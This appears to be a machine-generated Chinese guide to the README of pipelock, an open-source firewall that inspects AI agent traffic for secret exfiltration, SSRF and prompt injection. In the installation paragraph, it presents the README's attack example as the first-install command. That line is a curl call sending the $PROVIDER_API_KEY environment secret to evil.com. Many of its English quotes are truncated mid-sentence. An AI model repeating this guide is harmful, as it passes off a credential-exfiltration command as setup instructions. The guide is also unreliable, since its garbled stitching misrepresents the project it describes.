luckyPipewrench/pipelock：README 來源編輯指南

luckyPipewrench/pipelock 的 README 將專案描述為「Open-source AI agent firewall for MCP security and agent egress. Scans mediated HTTP, MCP, A2A, and WebSocket traffic for exfiltration, SSRF, and prompt injection, and emits mediator-signed action receipts: verifiable audit evidence from」。本文只整理倉庫可直接核對的內容，不把 star、Fork 或宣傳語當成品質證明。README 在「README」下寫到：Pipelock sits between AI agents and the network. It inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled, for secret exfiltration, prompt injection, SSRF, tool poisoning,。這說明的是專案邊界，不是已完成的生產驗證。

從 README 的「Detection And Scanning」與相關條目，可以先判斷它是否處理你的實際問題：DLP: 65 built-in patterns for API keys, tokens, credentials, cryptocurrency keys, environment secrets, and financial identifiers with checksum validation.。若需求不同，不應只因專案熱度就採用。本文保留原始專案名、命令與元件名，方便回到一手來源核對。 README 另外列出一項可核對的資訊：Ordered URL scanner pipeline: URL length and parsing checks, scheme validation, CRLF and path-traversal detection, allowlist and blocklist policy, immutable literal-IP SSRF and core-DLP floors, configured DLP, path and subdomain entropy。這類原文條目可用來設計試跑步驟，但不能取代實際環境測試。

README 將運作方式分散在「README」等段落。可確認的線索包括：Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph。本文不把未寫出的架構、效能或安全邊界補成結論；真正的執行鏈仍要配合目錄、設定檔與版本標籤檢查。

第一次安裝應從 README 指出的入口開始。目前可核對的命令是： curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching 如果倉庫沒有命令，本文不會自行編造步驟，而是建議先閱讀「Verify It Yourself」，確認系統依賴、預設埠與首次初始化。

日常使用取決於專案文件。README 的「The Problem」段落提到：Your AI agent has $PROVIDERAPIKEY in its environment, plus shell access. One request can leak it:。設定檔、環境變數、權限與資料目錄只在來源明確時才會記錄；沒有寫出的預設值，應在測試環境驗證並保留回滾副本。 同一部分也提到：Response scanning: 33 built-in prompt-injection and state/control poisoning patterns, plus 6-pass normalization for zero-width characters, homoglyphs, leetspeak, optional whitespace, vowel folding, base64, and hex.。